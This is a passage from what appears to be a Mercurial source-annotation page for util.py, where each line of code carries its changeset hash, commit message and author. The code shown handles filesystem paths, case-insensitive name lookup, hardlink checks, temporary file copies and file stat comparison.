changeset
|
1465 global _re2 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1466 if _re2 is None: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1467 self._checkre2() |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1468 if _re2: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1469 return re2.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1470 else: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1471 return remod.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1472 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1473 re = _re() |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1474 |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1475 _fspathcache = {} |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1476 def fspath(name, root): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1477 '''Get name in the case stored in the filesystem |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1478 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1479 The name should be relative to root, and be normcase-ed for efficiency. |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1480 |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1481 Note that this function is unnecessary, and should not be |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1482 called, for case-sensitive filesystems (simply because it's expensive). |
15670
d6c19cfa03ce
icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15669
diff
changeset
|
1483 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1484 The root should be normcase-ed, too. |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1485 ''' |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1486 def _makefspathcacheentry(dir): |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1487 return dict((normcase(n), n) for n in os.listdir(dir)) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1488 |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1489 seps = pycompat.ossep |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1490 if pycompat.osaltsep: |
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1491 seps = seps + pycompat.osaltsep |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1492 # Protect backslashes. This gets silly very quickly. |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1493 seps.replace('\\','\\\\') |
31496
670166e0fcaa
util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents:
31495
diff
changeset
|
1494 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
1495 dir = os.path.normpath(root) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1496 result = [] |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1497 for part, sep in pattern.findall(name): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1498 if sep: |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1499 result.append(sep) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1500 continue |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1501 |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
1502 if dir not in _fspathcache: |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1503 _fspathcache[dir] = _makefspathcacheentry(dir) |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
1504 contents = _fspathcache[dir] |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1505 |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1506 found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1507 if not found: |
15720
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
1508 # retry "once per directory" per "dirstate.walk" which |
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
1509 # may take place for each patches of "hg qpush", for example |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1510 _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1511 found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1512 |
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1513 result.append(found or part) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
1514 dir = os.path.join(dir, part) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1515 |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1516 return ''.join(result) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1517 |
31593 | 1518 def getfstype(dirpath): |
1519 '''Get the filesystem type name from a directory (best-effort) | |
1520 | |
31678
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1521 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc. |
31593 | 1522 ''' |
1523 return getattr(osutil, 'getfstype', lambda x: None)(dirpath) | |
1524 | |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1525 def checknlink(testfile): |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1526 '''check whether hardlink count reporting works properly''' |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1527 |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1528 # testfile may be open, so we need a separate file for checking to |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1529 # work around issue2543 (or testfile may get lost on Samba shares) |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1530 f1, f2, fp = None, None, None |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1531 try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1532 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile), |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1533 suffix='1~', dir=os.path.dirname(testfile)) |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1534 os.close(fd) |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1535 f2 = '%s2~' % f1[:-2] |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1536 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1537 oslink(f1, f2) |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1538 # nlinks() may behave differently for files on Windows shares if |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1539 # the file is open. |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1540 fp = posixfile(f2) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1541 return nlinks(f2) > 1 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1542 except OSError: |
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1543 return False |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1544 finally: |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1545 if fp is not None: |
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1546 fp.close() |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1547 for f in (f1, f2): |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1548 try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1549 if f is not None: |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1550 os.unlink(f) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1551 except OSError: |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1552 pass |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1553 |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1554 def endswithsep(path): |
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1555 '''Check path ends with os.sep or os.altsep.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1556 return (path.endswith(pycompat.ossep) |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1557 or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1558 |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1559 def splitpath(path): |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1560 '''Split path by os.sep. |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1561 Note that this function does not use os.altsep because this is |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1562 an alternative of simple "xxx.split(os.sep)". |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1563 It is recommended to use os.path.normpath() before using this |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1564 function if need.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1565 return path.split(pycompat.ossep) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1566 |
6007
090b1a665901
filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents:
6006
diff
changeset
|
1567 def gui(): |
090b1a665901
filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents:
6006
diff
changeset
|
1568 '''Are we running in a GUI?''' |
34647 | 1569 if pycompat.isdarwin: |
30637
344e68882cd3
py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30625
diff
changeset
|
1570 if 'SSH_CONNECTION' in encoding.environ: |
13734
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1571 # handle SSH access to a box where the user is logged in |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1572 return False |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1573 elif getattr(osutil, 'isgui', None): |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1574 # check if a CoreGraphics session is available |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1575 return osutil.isgui() |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1576 else: |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1577 # pure build; use a safe default |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1578 return True |
16118b4859a1
util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13439
diff
changeset
|
1579 else: |
34645 | 1580 return pycompat.iswindows or encoding.environ.get("DISPLAY") |
6007
090b1a665901
filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents:
6006
diff
changeset
|
1581 |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1582 def mktempcopy(name, emptyok=False, createmode=None): |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1583 """Create a temporary file with the same contents from name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1584 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1585 The permission bits are copied from the original file. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1586 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1587 If the temporary file is going to be truncated immediately, you |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1588 can use emptyok=True as an optimization. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1589 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1590 Returns the name of the temporary file. |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1591 """ |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1592 d, fn = os.path.split(name) |
34002
2ad028635ccd
util: use ~ as a suffix for a temp file in the same directory as a source file
Michael Bolin <mbolin@fb.com>
parents:
33853
diff
changeset
|
1593 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1594 os.close(fd) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1595 # Temporary files are created with mode 0600, which is usually not |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1596 # what we want. If the original file already exists, just copy |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1597 # its mode. Otherwise, manually obey umask. |
15010
c3114acd8ea2
util: factor new function copymode out of mktempcopy
Adrian Buehlmann <adrian@cadifra.com>
parents:
14999
diff
changeset
|
1598 copymode(name, temp, createmode) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1599 if emptyok: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1600 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1601 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1602 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1603 ifp = posixfile(name, "rb") |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1604 except IOError as inst: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1605 if inst.errno == errno.ENOENT: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1606 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1607 if not getattr(inst, 'filename', None): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1608 inst.filename = name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1609 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1610 ofp = posixfile(temp, "wb") |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1611 for chunk in filechunkiter(ifp): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1612 ofp.write(chunk) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1613 ifp.close() |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1614 ofp.close() |
16705
c2d9ef43ff6c
check-code: ignore naked excepts with a "re-raise" comment
Brodie Rao <brodie@sf.io>
parents:
16703
diff
changeset
|
1615 except: # re-raises |
34435
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1616 try: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1617 os.unlink(temp) |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1618 except OSError: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1619 pass |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1620 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1621 return temp |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1622 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1623 class filestat(object): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1624 """help to exactly detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1625 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1626 'stat' attribute is result of 'os.stat()' if specified 'path' |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1627 exists. Otherwise, it is None. This can avoid preparative |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1628 'exists()' examination on client side of this class. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1629 """ |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1630 def __init__(self, stat): |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1631 self.stat = stat |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1632 |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1633 @classmethod |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1634 def frompath(cls, path): |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1635 try: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1636 stat = os.stat(path) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1637 except OSError as err: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1638 if err.errno != errno.ENOENT: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1639 raise |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1640 stat = None |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1641 return cls(stat) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1642 |
32816
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1643 @classmethod |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1644 def fromfp(cls, fp): |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1645 stat = os.fstat(fp.fileno()) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1646 return cls(stat) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1647 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1648 __hash__ = object.__hash__ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1649 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1650 def __eq__(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1651 try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1652 # if ambiguity between stat of new and old file is |
30332
318a24b52eeb
spelling: fixes of non-dictionary words
